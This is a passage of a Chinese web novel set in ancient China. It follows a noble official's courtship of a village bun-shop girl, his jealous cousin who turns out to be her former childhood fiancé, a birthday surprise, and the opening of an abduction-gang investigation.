对谢康安,赵友成没有什么好感,毕竟家里老爷子总将他挂在嘴边,说什么,瞧人家谢康安,十岁才回侯府,但根基正长的好,埋头苦读,只用了一年时间就赶上同龄人的进度,现在更是京城里炙手可热的郎君,出身好学问好,将来再有一门好婚事助力,不愁飞不起来。 赵友成哼了哼。 他二弟和谢康安走的近,所以他知道很多内幕消息。比如谢康安每天只睡两个时辰,什么头悬梁锥刺股,他都试过,简直是为了读书不要命。 他怎么也来了? 说话的功夫,俩人已经到了。 夏季炎热房门敞开,二人一先一后跨步而入。打头的是赵友玉,风尘仆仆,后头跟着谢康安,一进来就立刻行礼。 “阿兄,赵郎君。” 赵友玉也和谢临安打了招呼,然后一甩马鞭,缠住要偷溜出去的赵友成,三两下将人拿下,笑呵呵道:“谢郎君,我阿兄没给你惹祸吧?” 这话说的,好像赵友成是什么顽皮孩子似的。 “赶路辛苦,先坐下歇息再说。” 赵友成附和:“对啊,阿玉,莫要抓为兄的后脖领子,成何体统?” 赵友玉松开手,招呼谢康安坐下,几个人年纪相仿,自然有说不完的话。而且赵友玉最是崇拜谢临安,在他看来,谢临安放弃京城的繁花大梦,来到这等穷乡僻壤,实乃大丈夫作为。 松石给他们上茶,他看见二房的谢康安总是偷看他们郎君。 其实以前在侯府的时候,松石就发现谢康安会这样偷看,那也正常,整个谢氏一族就属他们郎君最为耀眼,被族中小辈崇拜孺慕是常事。 可不知道为什么,松石总觉得谢康安的眼神怪怪的,具体怎么回事他也说不出,总觉得让人不舒服。 “阿兄清瘦许多。”谢康安开口。 谢临安不冷不热的应了一声。 谢康安垂眸不说话了。 俩人父亲是亲兄弟,同出一枝,因此面相上也有相似之处。 乍一看都是俊朗的年轻郎君,但美人在骨不在皮,即使谢康安完全按照谢临安的方式说话走路,依然没能学会他的潇洒雍容。 那是天生的上位者生在骨子里的东西。 捏着茶盏的手收紧,谢康安照旧面带微笑。 谢临安也只是扫了他一眼,在京城里都不怎么说话,到了这更不会热络,谢临安是众星捧月中的月,在他身边,谢康安只能被对方的耀眼覆盖,成为微不足道的星星。 聊了几句,谢临安起身,赵友成赶忙拽住他的袖子,小声央求:“临安,救我!” 谢临安眉梢微挑。 “你早晚都要回去。” 赵友成辩解:“那不也一样啊,晚回去就能晚挨打,不成,你必须救我,对了,今日你要去东山县,带我一个!” 赵友玉扬着马鞭,打算直接用其绑人。 赵友成躲,赵友玉追,兄弟俩闹的鸡飞狗跳。 谢临安无奈的摇头,整理好被抓皱的衣袖,大步离开。 所以,他没看见谢康安听见东山县三个字时的异样表情。 第37章 第37章 十岁之前,谢康安一直在东山镇生活,和他娘相依为命。 因为没有父亲,所以他总是被附近的小孩子欺负,说他是野种,各种污言秽语。 那时候他们母子没钱过的不好,谢康安比一般孩子长的瘦弱。直到——新搬来一户人家,猎户出身,家里顿顿都有肉,还会好心给他们送一碗。 第一次吃邻居送来的烤兔肉时,谢康安哭了,才几岁的孩子抱着娘大腿喊:“娘,我不要过穷日子了,我也要好好日子,我也要天天吃肉!” 温柔的女人拍着他的背,重复那段说了千遍万遍的话语。 “儿子,你要记着,只有你不停的努力站在所有人之上,才能过上你想要的生活。” 几岁的谢康安不懂,但哭哭啼啼的应下了。 大抵是孤儿寡母惹人心疼,焦红杏总会多照顾他们,派五岁的阿雪去给他们家送东西吃。 每次谢康安都会偷偷躲在门后,看那个梳着双鬓大眼睛的女童,觉得她长的可真好看。 日子一天天过,谢康安逐渐和阿雪熟悉起来,俩人便是最好的玩伴。不过他生的不够高,竟然同阿雪一样的个头,明明他大了她三岁。 比他小的孩子,被家里娇养着长大,她双手叉腰,脸蛋圆滚滚,可爱的像是年画娃娃。 “从今天开始,谁都不可以欺负他!” 在一次他又被小孩欺负后,阿雪挡在了他面前。自那之后,他的生活里处处都是圆脸小姑娘的影子。 要不是卢家人得照顾,娘俩可能都活不过冬日。 他娘亲为了感谢对方的照顾,同时也是看阿雪聪明可爱,给他们定了婚事。 阿雪年岁小,天真懵懂:“什么是定亲?” 那时候已经九岁的谢康安转过头,不知道该怎么回答。 他也会下意识的护着她,有什么好东西也会和她分享,当时附近的孩子们还笑话,说他们娃娃亲,就得从娃娃时候开始亲。 “怎么亲?”六岁的小姑娘外头问。 谢康安恼火急了,第一次主动反抗,将那些孩子们打跑。 再后来,他被京城来的人带走,俩人就再也没见过面。 车轮滚滚,扰乱谢康安的思绪。他缓过神来,挑开窗帘,试图从道路两边的景物中找到儿时的一些记忆。 可惜九年过去,物是人非,他全然不记得这是回家的路了。 “四郎,累了大可闭目养神,我阿兄说还要一个多时辰才会到。” 说话的是赵友玉,原本他奉命来捉赵友成的,但赵友成死活要跟着谢临安,还游说道:“阿玉,你不是一直崇拜谢临安吗,难道你不想多了解他?” 赵友成这招耍的好,他再接再厉道:“而且眼看着就到临安的生辰了,他是五月十五,你难道不想帮忙庆祝吗?” “我当然想!”赵友玉脱口而出。 在京城时候很少有机会和谢临安如此相处,每次宴席侯府世子都是前呼后拥,赵友玉根本就没机会同谢临安交谈。 如今……确实是个好机会。 “好,六天,我只给你六天时间,六天后不管如何,你必须同我回京。” 赵友成立刻应声。 能拖六天是六天。 所以他们四个人,一起前往东山镇。 眼看着进了镇子,不知道怎么回事,前头的马车突然停下。谢康安掀帘子看,见谢临安从车里出来,似乎是有要事要办的模样。 马车继续前行,谢康安像是躲在阴暗处似的,偷窥着谢临安的一举一动。他看见谢临安在一处商铺前停下,有个芳华正好的小娘子走了出来,俩人举止亲密,一起进铺子了。 看不清楚那女子的脸,但看身段应当是貌美的。 难道……谢康安呼吸急促起来,眼睛里隐隐透着兴奋。 其实在侯府的日子不大好过,爵位落在了大房,他们只是仰人鼻息活着的二房罢了,更别提他还背着一个私生子的名分。 自卑和不甘涌现,尤其是当与谢临安出现在同一个地方的时候。 所有人的目光都会聚集在谢临安身上,一切美好的词语都可以夸赞,甚至连宫里太子都和他交好。 凭什么? 就凭他是侯夫人肚子里爬出来的? 谢康安很努力,短短一年就将他聪慧的名声打了出去,原本以为自己会声名鹊起,却不想处处被谢临安压了一头。 珠玉在前,他不管表现的再好,都无人问津,人们能记住的永远是最耀眼的那颗宝石。 后来,谢康安就开始学谢临安。 从穿衣打扮开始,到走路仪态,所有能学的都要学一遍。慢慢的,有人开始注意到他,说侯府四郎是青年才俊,快要赶上他阿兄了呢。 每每这个时候,他既欣慰又痛苦。 他更加努力想要追上谢临安,可没办法。对方好像老天爷的心头宝,所有美好的一切都给予了他,像是一块完美无瑕的玉。 可现在他看见了什么? 谢临安竟然私会乡野村妇? 白玉有了瑕,完美的人染了污点。 自以为发现天大秘密的谢康安放下帘子,暗自垂眸思忱,因着紧张和兴奋,手心里冒了一层薄汗。 “你怎么了?”对面的赵友玉关切询问,“我看你脸怎么这么红,莫不是哪里不舒服?” 谢康安随便搪塞了过去。 到了地方,谢康安下车,斯斯文文整理褶皱的衣衫。 赵友成朝着这边看了一眼,恍惚之间,好像看见谢临安。 晃了晃脑袋,赵友成暗嘲自己年纪轻轻就老眼昏花。 不过他们若是不细看,他们堂兄弟气质确实像,看背影很容易认错。 但四郎没有大郎贵气洒脱。 金堆玉砌长大的郎君,举手投足尽显侯府风范。 不过……有些人是看不出来的。 比如阿雪。 “感觉你好像瘦了。”俩人坐在铺子里,现在正好不是人多的时候,阿雪便坐在他身侧,一只手撑着脸颊。 “肯定没好好吃饭吧。” 谢临安今日穿着深青色的衣袍,宽肩窄腰,俊美清隽。不过落在阿雪的眼里,就是对方清贫,吃不起什么好东西。 “要不要吃个肉包子?铺子里的肉馅都是我一早去买的,新鲜的猪肉让摊主剁成臊子,回来后自己调味,保管鲜美好吃。” 说着她就要起身,谢临安拽着她的手。 “喝水便好。” 阿雪嗯了一声,低头看他还没松开。恰巧这时候有人来买馒头,阿雪立刻挣脱,“哎,来了!” 柔软的肌肤乍然脱离,手里便失了温度,修长的手指好一会才蜷缩着收了回来。 深邃的眸子扫向小娘子的背影,她忙碌又快乐。 诚然,她刚开始接近他别有目的,或许是看中他的身份,也或许是看中他的面皮,就算二者都有之,不过现在,他并不在意。 人生在世需尽欢。 乐得其中,就是赢家。 没一会,阿雪闲了下来,端过来肉菜包子各几个,还招呼附近的饮子铺送来两碗凉爽的绿豆汤。 “吃点吧,边吃边说。” 谢临安胃口一般,只吃了个菜包子,绿豆汤确实解暑,散了赶路的燥气。 “为何执意让我初十回来?” 今日初九,明日才是初十。 阿雪抬头,瞪圆了眼睛。 难道……他自己生辰都忘了? 阿雪张嘴想要吐出实情,但突然眼珠子一转,觉得当成惊喜也未尝不可。 “就是……就是我最近学做面条,想第一个让你尝。” 若是松石在这,肯定要皱成苦瓜脸。 就为了这么点小事劳烦他们郎君连夜赶路? 但谢临安只是挑眉:“你家里人不曾吃过?” “当然!你要当第一个!” 那些都是做失败的面,阿雪指做成功的面条。 她伸出食指,比划了一个手指头,身子前倾,貌美如花的小娘子眼神坚定,强调第一个的重要性。 “独一无二,全天下唯一的第一个。” 她说出这样的话,在谢临安看来无异于浓情表白。她此人就异于常人,表白超出常理也很正常。 怦怦如鼓的声音响彻在耳朵里,花了许久他才知道,那是他的心跳声。 谢临安注视着她的眼睛,嗯了一声。 “但要明天吃才行,今天就先吃包子吧。” 她越发的神神秘秘,谢临安还真被勾起几分好奇之心。 陪着她说了会儿话,谢临安返回客栈。 赵友成不愿意和二弟呆着,就跑去谢临安的房间里,像是小狗似的嗅了嗅。 “卢娘子给你吃的了?” 松石不满。 他们郎君还用旁人给吃的?能吃对方的东西便已经是恩赐了。 “想吃?” 谢临安瞥过来,微微一笑道:“没门。” 赵友成:…… “啧,被情爱蒙蔽的男人啊,果然脑子不正常,临安啊临安,你也没逃过去。我看啊,你真是栽在这了。” 谢临安依旧笑,松石低垂脑袋不敢吭声。 …… 初十这日天色堪堪将亮的时候,翘首以盼的阿雪朝着一道人影抬手打招呼。 “郎君,在这!” 昨日她告诉谢临安要早点来,她做面条给他当朝食。晚上回去才发觉不妥,毕竟她早起惯了,可他不见得能起来。 但他答应自己,应当能来的吧?阿雪不太确定。 眼见着谢临安如约而至,阿雪欣喜的过来迎他。 时辰太早了,只有阿雪这间铺子开着门,路上连个人影都没有。阿雪抓着谢临安的手带他往里进,他则是看了看附近昏暗的街道,微微蹙眉。 太暗了,她一个十几岁的小娘子独自出来,着实不妥。 “郎君,你果然不会食言。来,你坐在这看着就好,对了,你还喜欢吃鸡蛋吗?” 记得小时候他特别喜欢吃,每次焦红杏都会让阿雪去给隔壁送一个。一个鸡蛋而已,他能吃很久。 不过多年过去,也不知道他喜好变没变。 “随你。” 谢临安方才在想事情,没注意到她话里的“也”字,他不重口腹之欲,点头应下。 阿雪做事认真麻利,因着前几次失败的次数多成功次数少,所以分外认真,专心致志。 一旁的谢临安第一次见她露出这样的神情,不知为何,深深吸引着他。 过了会,小娘子将面团放在一旁醒发片刻,她伸手碰了下他的鼻尖。 “郎君,你这落东西了。” 俊美的郎君扬起眉梢,“难道不是你想抹花我的脸么?” 第38章 第38章 谢临安是太子伴读,总是在宫里呆着,因此交往的友人不多。但总有主动贴上来的,或者孺慕已久的,比如赵友玉。 赵家是武将世家,老国公不想让儿子再上战场,便让大儿子从文,二儿子天赋异禀,还是从了武。也不知道怎么回事,武将好像比文人低了一等似的。 有时候赵友玉想,大概是因为武将读书少,那些文人墨客总是觉得他们无比粗鲁。 赵友玉从不在意,认定自己行的端走的正,腰杆挺直。 不过,见到谢临安时候还是心虚的。 谢临安这三个字响彻京城,不止因为出色的容貌家世,更是因为他本人才学惊艳。 他们这些青年才俊年岁相仿,难免会拿在一起作比较,尤其是宫宴的时候,皇帝高兴了便会让他们玩些对对子或者解谜的小游戏。 所有人都跃跃欲试,认为这是出头的好机会。 第一次见到谢临安时,就是在一次宫宴上。 那年谢临安十五岁,原本坐着喝酒并未参与游戏,不过皇帝钦点了他,他不得不加入。 谜题越来越难,出声解谜的人越来越少,最后只剩下谢临安。 后来他一人解了皇帝精心准备的所有谜题,且丝毫不费力,云淡风轻的模样。 赵友玉惊叹不已,宫宴结束之后想凑上去说话,但没想到谢临安随太子走了。 再后来,谢临安身边围着的人越来越多,赵友玉更加没机会了。 所以这次是鲜有的接近崇拜之人的机会,赵友玉牢牢抓住,在镇子上闲逛许久,总算买到了能拿出手的东西。 “这是什么?” 他自己出去,回门时被谢康安撞见。赵友玉笑笑,两只手端着厚厚的一沓书道:“是要送给谢世子的生辰礼。” 跑了整个镇子才淘到的孤本,赵友玉认真检查过,保管是真迹。 谢康安笑容微妙,什么都没说。 客栈里只有他们一拨客人,赵友玉又开了一间房,打算精心布置给谢临安过生辰用。房门开着,谢康安紧随而至,站在门口目光怔愣。 穷乡僻壤之地的小房间,本该平平无奇,甚至在侯府里下人们住的都比这好。但是经过装饰之后,竟然风雅不少。 原本深色破旧的家具都搬了出去,墙体重新修整过,三面墙垂了梅兰竹菊图案的白纱,清风拂过,有种隐世之感。 屋里最中间摆放着一套桌椅,上头放着茶具,靠近窗户处摆放着矮柜,有两株花盆精致的兰花,旁边燃着线香。 香气清幽淡雅,正是谢临安会喜欢的味道。 赵友玉将孤本小心翼翼的摆放好,过了会松石进来,手里拿着一个古朴的木盒子,赵友玉接过来摆放好。 “这是我阿兄要送的,先摆在这。” 松石笑呵呵:“都是郎君喜欢的东西,您有心了。” 俩人继续在房间里忙碌,松石清理地面,堂堂国公府的二郎赵友玉,则是拿着抹布,去擦拭桌子上压根不存在的灰尘。 谢康安心中不是滋味。 酸涩的嫉妒如潮水涌现,偏偏他还不能表现出来,甚至还要笑着加入,帮忙收拾屋里。 “多谢康安。” 俩人熟络,一起边干活边聊天。过了会赵友玉随意问道:“哎,你是何时的生辰?” 相熟的郎君们都会互相道贺,赵友玉回忆了一会,发现好像没听说过谢康安办过生辰宴。 正擦拭花瓶的谢康安手上一顿,抬起头时温和一笑道:“我不过生辰的,这个花瓶是摆放在这吗?” 他不着痕迹的转了话题。 赵友玉这才想起来他的身份。 当年谢康安被认回来还是谢临安的父亲侯爷帮忙,否则他身份定不下根本进不了侯府。 出身低微,行事小心谨慎的谢康安,兴许是因为这一点他才不过生辰日的吧。 日头初升,还在睡梦中的赵友成被他二弟拽了起来。 “哎哎,别拽我领子啊。” 赵友玉一身力气,像是老鹰抓小鸡似的抓着他阿兄的领子,直接将人从床上拽到了地上。 “穿上衣服赶紧过来帮忙。” 他随手将衣服扔过来,直接兜住赵友成的脑袋,眼前一黑的赵友成气的大喊:“没大没小,怎么对你阿兄啊?” 赵友玉抱着膀子,语气平平:“老爷子说只要我把你抓回去就成,生……” “生死勿论?不可能吧。” 好不容易从衣服里钻出脑袋的赵友成缩了下脖子。 不过看老爷子打他的狠劲,非常有可能啊。 “老爷子说,把你腿打断扛回去也成。” “好啊你,还敢吓唬你阿兄了,胆子肥了是不是。” 兄弟欢闹的笑声传到隔壁房间,正在擦拭花瓣的谢康安失手将一片花揪了下来。悄悄抬头,见松石没注意这里,他将花瓣从窗户扔了出去。 兄友弟恭只在别人家。 亦或者说是,从不会出现在他的身上。 谢家大房只有谢临安一个孩子,二房则是儿女无数,他是谢家第四个男丁,因此被称为四郎。也就是说,除了谢临安这个堂哥外,他还有两个亲哥哥。 因为他的身份,两个哥哥从没给过他好脸色。也曾想过多和谢临安这个堂哥亲近做靠山,可惜,对方似乎并不喜欢他。 胡思乱想的时候,听见脚步声,赵家两兄弟进屋了。赵友成瞧着已经布置完美的房间一阵失语。 “这不是收拾好了吗?非要我过来做甚?” “你和谢世子相熟,帮忙看看弄成这样他会不会喜欢,若是哪里不妥我再改,得尽快收拾好。” 赵友成忍俊不禁:“还有好几天,急什么啊。” 刚说完,门口的松石探脑袋进来,急声道:“郎君回来了。” 他们是秘密准备,暂时不能让谢临安知道,因此几个人忙从房间里出来,关好门站在走廊里。 谢临安出现在走廊另一端。 他穿着一身浅草色圆领衣袍,腰间系着青绿色的腰带,身材颀长,玉树临风。 不过,和清晨出发时的欣喜表情不同,此刻他面色凝重,似乎发生了什么事情。 “临安,怎么了?”赵友成率先开口。 谢临安走到自己房间门口,吱呀一声房门被推开,他留下一句:“无事。” 转身进入房间,砰的一声关紧房门。 街上百姓流动,热闹喧嚣,夏日的阳光穿过窗子照射进屋里,将凳子照的发暖。 谢临安坐上去,却不觉得热。 他面色微冷,右手放在桌面上,握拳的手掌张开,一个被攥的发皱的香囊掉了出来。 是一个湖蓝色的精致香囊,上面绣着如意纹,里头则是用纱布装着草药,散发着阵阵微弱药香。 谢临安眼神沉沉的盯着香囊,回忆起一个时辰前发生的事情。 阿雪动作麻利,没一会就煮好了面条,上面窝了一个鸡蛋还有一把烫熟的青菜。 “尝尝。”她笑眯眯的端了过来。 谢临安拿起筷子,挑起碗里的一根面,慢条斯理的品尝着。 阿雪双手撑着脸颊,“怎么样,好吃吗?” “不错。” 清汤寡水的面,本该不那么好吃才是。但谢临安觉得美味,吃完面后漱口。 就在这时,阿雪不知从哪里掏出来一个香囊,弯腰过来,作势就要给他系上。 世家子弟大多喜欢在腰上系玉佩等装饰物,但谢临安很少佩戴那些东西,一是不喜,二是嫌麻烦。毕竟之前出过有人拿玉佩来侯府,让他负责的事情。 因此,他甚少佩戴这些东西,免得再出差池。 但阿雪低头系香囊的时候,谢临安坐着没动。 他稍抬眼,便能看清近在咫尺的小娘子脸上的细绒毛。兴许是忙的热了,她脸颊红扑扑,此刻宛若熟透的水蜜桃。 “郎君,你腰带系的太紧了,我穿不过去。” 谢临安耳根子有点热,他低声道:“我自己来。” “我来,今日是你生辰,吃完长寿面收礼物,生辰才是完整。” 阿雪忙着系香囊,没注意到头上的人面色微变。他思忱片刻道:“你从哪里知道我的生辰日?” 京城里不少小娘子专门等着他生辰这日送他东西,但这等小地方没几个人知道他的身份,或许是她打听错了也未可知。 阿雪回答的干脆:“我当然知道啊,你每年都是五月初十过啊。” 每年。 谢临安捕捉到这个字眼。 脑子里忽地闪过之前她说的莫名其妙的话,他直觉不妙。但谢临安没表现出来,他性子便是如此,不动声色的继续和阿雪说话。 “那为何之前没有告诉我?” 香囊快要系好了,阿雪热的满头大汗。 “想给你惊喜啊,再说,你自己的生辰怎么都忘了,难道京城那边的习俗不同,他们不过生辰的吗?” 说完话,香囊也系好了。 阿雪小心的捋平,直起身子笑容满面。“里面加了避蛇驱虫的草药,而且味道也好闻的。” 谢临安神色淡淡,之后有客人上门,他就先行离开。 被女子捋平的香囊早就没了体温,皱巴巴的像是被人丢弃之物。 谢临安垂眼看着它,片刻后叫来松石。 “郎君。” “你去查一件事。” 第39章 第39章 每年谢临安的生辰侯府都是异常热闹,上上下下喜气洋洋,宛若过除夕似的喜庆。 今年谢临安不在,但来自京城的礼物已经到了,衙署那边传来消息,当天晚上礼单就到了松石手里。 “……靖安侯府三娘子送的未开的原石一对,礼部侍郎府上二郎送的宝剑一柄……” 光是其他人的贺礼就装了满满一马车,更别提侯府送来的东西了。 念完礼单,松石口干舌燥,递过去给谢临安看。 “不必,收好即可。” “你还是这么不在乎身外之物,”赵友成最是敬佩谢临安这一点,“难不成你私下里当和尚了?无欲无求。” 饶是他们都出身富贵见过不少世面,也觉得谢临安收到的礼物多且贵重,隐隐有点羡慕。 “其他的就不提,太子殿下千里加急送你一筐岭南荔枝,那可真是千金难求啊,你难道就不心痒着急吗?” 荔枝刚到衙署,快马送来也得天将亮时才能到。 赵友成忍不住咽口水,道:“今年的头一茬荔枝,挑的都是最大最好的,若我还在京城,兴许能分上一颗。” 宫里会赏赐给肱骨大臣们,但也只是一盘几颗而已。哪里像谢临安这般受宠,直接是一筐。 屋里还坐着赵友玉和谢康安,俩人俱是不言语。赵友玉是不知道说什么好,谢康安则是满肚子的酸水,正往上翻涌,酸的他嗓子发痛说不出话来。 京城里权贵世家多如牛毛,像是侯府这等爵位也数不胜数,但他们谢家格外不同,不止因为祖上蒙荫,更多的是因为谢临安这个天之骄子。 谢康安低头看自己的鞋。 从京城走的匆忙因为没带衣裳行李,路上买了两身穿着,自然普通挑不出特别。灰扑扑的鞋面与不远处谢临安干净整洁的黑靴形成鲜明对比,阳光照射在对方的身上,将他整个人都镀了一层光亮,而自己则像是老鼠一般藏在暗处。 命运当真不公。 如果他是从侯夫人肚子里爬出来的就好了,谢康安相信他不会比谢临安差。 以前在京城的时候谢康安就知道大房的堂哥过的好,他们虽然住在一个屋檐下接触却不多,还不如这几日相处时间长了解的多。都说谢家大郎如玉树兰芝,俊美无双,是个温润如玉的郎君。 可这几天接触下来,谢康安觉得对方恐怕是目空一切。 若是他得了太子殿下的赏赐,非得立刻起码回去迎接才是,而不是坐在这懒懒散散,不甚在意的模样。 谢康安咽下酸楚,视线落在谢临安的身上。 对方有所察觉看了过来,谢康安立刻调整表情露出笑意。谢临安仿若随便看了看,很快又继续和赵友成说话去了。 谢康安不敢再看他,视线垂下,落在对方手上,忽地一怔。 谢临安手背上也有一颗痣,不仔细瞧的话,简直和他的一模一样。 “都要到了,急什么。”身世注定谢临安享受得天独厚的一切,就连宫里御赐的荔枝都是常食之物,因此不甚在意的模样。 赵友成搓了搓手:“那等到了多给我一点,这可是皇家贡品,专门给宫里送的,就算有钱也买不到!想想上次吃荔枝还是去年,啧,甜!” 赵友成还在幻想多抢荔枝吃,那边谢临安毫不留情道:“做梦。” 赵友成:…… “那就少分点呗。” 只是没想到,一颗都没分到不说,连荔枝的影子都没瞧见。 …… “这叫什么?郎君,我怎么都没见过?” 他们这里靠北,夏日的果子只有樱桃,剩下的则是要等秋日才能见到。阿雪第一次见到这种果子,约莫小孩拳头大小,表皮红绿有小凸起,拿起来沉甸甸的,闻着没什么味道。 正是早晨刚过了朝食时辰,铺子里没什么人,桌边放着一筐这种果子,阿雪拿起两个在手里翻来覆去的看。 “荔枝,岭南特产。” “送过来岂不是很久?”阿雪惊叹,“我和爹娘进城都要四天呢。” “还好。” 明明跑死了好几匹快马,但他说的云淡风轻。 “郎君,我想拜托你一件事。”阿雪拿起来又放下,心中有事惦念着,其他都要靠后。 …… 自打上次被卢大富教训了一顿之后,卢石头明显乖巧不少,但也只是表面看上去罢了。 他很确定自己不喜欢读书,每日在学堂里像是丢了魂似的。也曾想过认真读书,但他就是读不进去。 早上从家里出来,路过阿雪的铺子时,卢石头像是往日那般走了进去。 “阿姐。”他垂着脑袋喊人,阿雪笑盈盈的过来,道:“石头,看看谁来了。” 卢石头这才抬起头,发现里面座位上的人。 “大人?”他瞪大眼睛。 在那么一瞬,卢石头眼睛里一改萎靡绽放出光芒。 不怪卢石头如此,当时阿雪失踪时候,卢石头求助无门,是谢临安带着他找到人。从那时候开始,卢石头就开始崇拜谢临安了。 “大人,你怎么在这。”卢石头三两步走上去,说完话才想起来要行礼,动作生疏笨拙的弯腰。 谢临安微微抬手,示意卢石头坐在对面。卢石头没动,有点没搞明白状况。 阿雪拉着卢石头让其坐下,笑着道:“让你坐就坐。” 十几岁的小少年身高体壮,坐下之后快和站着的阿雪差不多了。方才还举止粗放,这么会并拢双腿正襟危坐,旁边站着的阿雪忍俊不禁。 “书院在教什么?” 像是被夫子提问似的,卢石头认认真真作答。谢临安点了点头,道:“小地方教的东西少,但应该会更加扎实,你先认真学,待过些日子请人教你。” 卢石头以为是让他们家再花钱请人,忙拒绝道:“不用了,我现在都学不进去,不能再花冤枉钱了。” 谢临安扬眉,阿雪对着他无奈摇头。 石头来之前她就将实情与他说过,请他帮忙就是想劝石头收心继续念书,不要整日想着弃学。 “石头念书晚,一直在追进度,所以不大爱念书。”阿雪解释。 “不是,阿姐,我就是不爱念书。” 姐弟俩你来我往,谢临安老神自在的坐在那,没一会有人来买包子,阿雪去招待客人,卢石头像是泄了气的球。 “大人,你也是来劝我读书的?” “不是。”谢临安声音不轻不重,他眼睛深邃,好像一汪望不到底的泉水,“我是来帮你。” 卢石头盯着他的眼睛,四周的声音好像都慢慢消失,只看见谢临安的薄唇一张一合。 “卢石头,你可曾想过长大成人后要做什么?你想做什么?” “我不知道。” “不急,慢慢想。是想读书走仕途,还是想当小摊贩,亦或者继续学你父亲当个猎户?这些都是出路,但你可以遵从内心,选择一条路,将其打造成繁华锦绣的路。” …… 正是活泼好动年纪的卢石头,从铺子里走的时候面色严肃。他双手握拳道:“阿姐,大人,你们放心,我一定会好好读书的!” 谢临安告诉他,既然暂时没考虑清楚以后做什么,那就先读书。书念的多了,便知道以后走的路,到时候就可以做自己想做的事情。 卢石头满腔热血,一改之前的颓靡,晨读的时候扯着嗓子喊,严为之大喜,还当众表扬了他。 另一边,谢临安从筐里捡出来一颗荔枝,修长的手指动作很快,剥开硬实的壳,片刻后,落在他掌心里一颗圆滚滚散发着奇异香甜气味的果子。 晶莹剔透,仿若一块玉石。 阿雪目瞪口呆。 “原来是剥壳吃的。” 谢临安道:“尝尝。” 他的意思是让阿雪拿走,却不想小娘子会错了意,俯首过来,就着他的手张开去衔。 柔软的唇肉划过掌心,接触的地方便带了酥麻之感。 “好多汁水,好甜!”阿雪吃完一颗,吐出核。 谢临安不动声色,又剥了一颗,阿雪依旧探头过来吃。 如此吃了几颗后,阿雪才意识到他还一口没动,便学着他剥壳,两根手指捏着,喂到他嘴边。 “很甜的。” 这些年谢临安身边近身侍候的只有松石一个,不曾有女子近身,也不曾有人敢这样拿着食物,像是逗弄小狗似的,在他嘴边晃。 “啊。” 阿雪低叫一声,“郎君,你咬到我的手了。” 俩人并肩坐着,阿雪侧身递手过来,谢临安咬着荔枝的同时,将她的食指也含住。 片刻后,他松开嘴,意味深长的看她。“很甜。” “是吧,我也觉得甜。” “嗯,荔枝也甜。” 直到谢临安离开,阿雪才反应过来他说什么,腾的红了脸。 …… 下午时候谢临安他们便启程回衙署了,那边有事需要他处理。正赶上阿雪最忙碌之时,便没去送他。 快黄昏时候莲花来了,阿雪给她拿了一碗荔枝。 “这叫荔枝?岭南那边的?” 莲花也没吃过,问她从哪来的,阿雪只说一个朋友送的。他们出身底层百姓,第一次听说荔枝,自然不知道其珍贵。 “行,我拿家和爹娘一起吃。对了阿雪,你可知道……严夫子要定亲的事情?” “不知道,怎么如此突然?何时的事?” 阿雪只是好奇,并没有出现失望或者伤心的神色。莲花觉得奇怪,“你不难过吗?” “不啊,我为什么难过。” 自然是因为你喜欢人家啊! 但莲花没说出来,心想或许是因为阿雪太过单纯了,还搞不懂什么叫男女之情。如此也好,免得严为之娶媳妇她难过。 “他爹娘昨晚回来的,听说是做工的员外家有一小女,正值嫁龄,两家就把亲事定了,当天就折返回来告诉严夫子,应当快过礼了吧。” 莲花接着道:“你说也奇怪,严夫子爹娘在那户人家做活好几个月了,怎么早不定,突然定下,感觉哪里怪怪的。” 阿雪不甚在意,“那有什么,可能才发现他们儿子是严夫子呗。莲花,你过来尝尝我新调的馅料怎么样。” “哎,来了!” 第40章 第40章 “郎君,东西都登记在册入库了,这盒是侯爷和夫人送的。” 上好的檀木盒子,锁扣部分甚至是金的,最中间包了一块红宝石。盒子拿出去都能卖上不少钱,可见里面的东西有多珍贵。 其他人的东西可以不看,父母双亲给的自然要过眼。 骨节分明的手指轻轻开锁扣,啪嗒一声盒子打开,深色绒布里躺着一块祥云玉佩。 谢临安拿在手里细细把玩,颜色通透质地温润,样式……稍显粗糙。 松石道:“侯爷和夫人一起选的料子,挑了最好的一块,由侯爷亲手打磨。夫人说,侯爷做了整整一个月呢!” 谢临安是侯府大房期盼多年才得来的独子,自然宠爱有加。 赵友成笑着道:“没想到沉稳内敛的侯爷私下里竟然有此一面,临安啊,我当真羡慕你了。” 侯爷领的是工部的职,素来铁面无私,就算赵友成不在朝堂也有所耳闻,老爷子还说过,冷脸爹生出个和善儿子,说谢临安温和比他爹强多了。 谢临安低头,将玉佩挂在了身上,与香囊混在一处,竟也相得益彰。 屋里还坐着赵友玉和谢康安,俩人一个眼神清澈,一个若有所思。 其实到达东山镇的第一天,谢康安便知道那个女子的身份了。 从松石那打探不到,但从赵友成这里很容易套到话,当听见那女子叫卢雪时,谢康安脑子嗡的一声。 “谢哥哥,你快来帮阿雪呀……谢哥哥,谢哥哥……” 九年过去了,本该忘的一干二净,可午夜梦回时,总会想起儿时得到过的温暖。 在人心浮躁表里不一的京城受委屈时,是支撑他的力量。 刚到侯府就被欺负,谢康安问他娘亲,为何不回东山镇,他想阿雪妹妹了。 “儿子,娘告诉过你,吃得苦中苦方为人上人。我们刚来侯府根基不稳,如今你要做的唯一事情便是努力读书。只有你自己强,别人才会高看一眼,明白吗?” 十岁的谢康安不明白,但是照做了。后来想起邻居那个雪团子的时候越来越少,再后来融入京城贵族圈子,他就彻底忘了贫时的一切。 退婚的事情谢康安也是之后才知道,娘问他如何想,谢康安张了张嘴,半响之后道:“全凭娘做主。” “退就退了,普通人家也配不上我儿,待秋闱考中之后,自然有高门大户的小娘子嫁给你。现在你要做的事情就是用功读书,明白吗?” “明白。” 阴差阳错,卢雪现在和他堂哥走的近。不过贱民身份是够不着侯府世子的,兴许谢临安只是看中她的容貌,玩玩罢了。 “去叫王捕头进来。” 房门开着,方才王捕头就走过来立在门外等待传唤。 “大人,这是给您的信。” 一目十行的看完,谢临安折好。 “知府让我配合他抓人。” 赵友成:“又有失踪案?之前不是已经抓到凶手了吗?” 谢临安道:“不是一人作案,应当是团伙,而且未能将其一网打尽。现在他们学聪明了,只挑偏僻地方的百姓下手,而且一次只抓一个人,避免引起注意。” 松石撇嘴,心想之前不让他们郎君插手怕抢功劳,现在没办法了倒是想起他们了。 赵友成也觉得对方做事不地道。 “也就你无欲无求不在乎吧。” 办的好了功劳是对方的,办的不好,还得受牵连。 “免无辜百姓遭殃,好事一件。” 谢临安不在意功绩,他立刻吩咐下去,让人跑各大州县底下的小地方,警戒百姓万分小心。 “还有,去查城里可有暗娼之地,若有,一网打尽。” 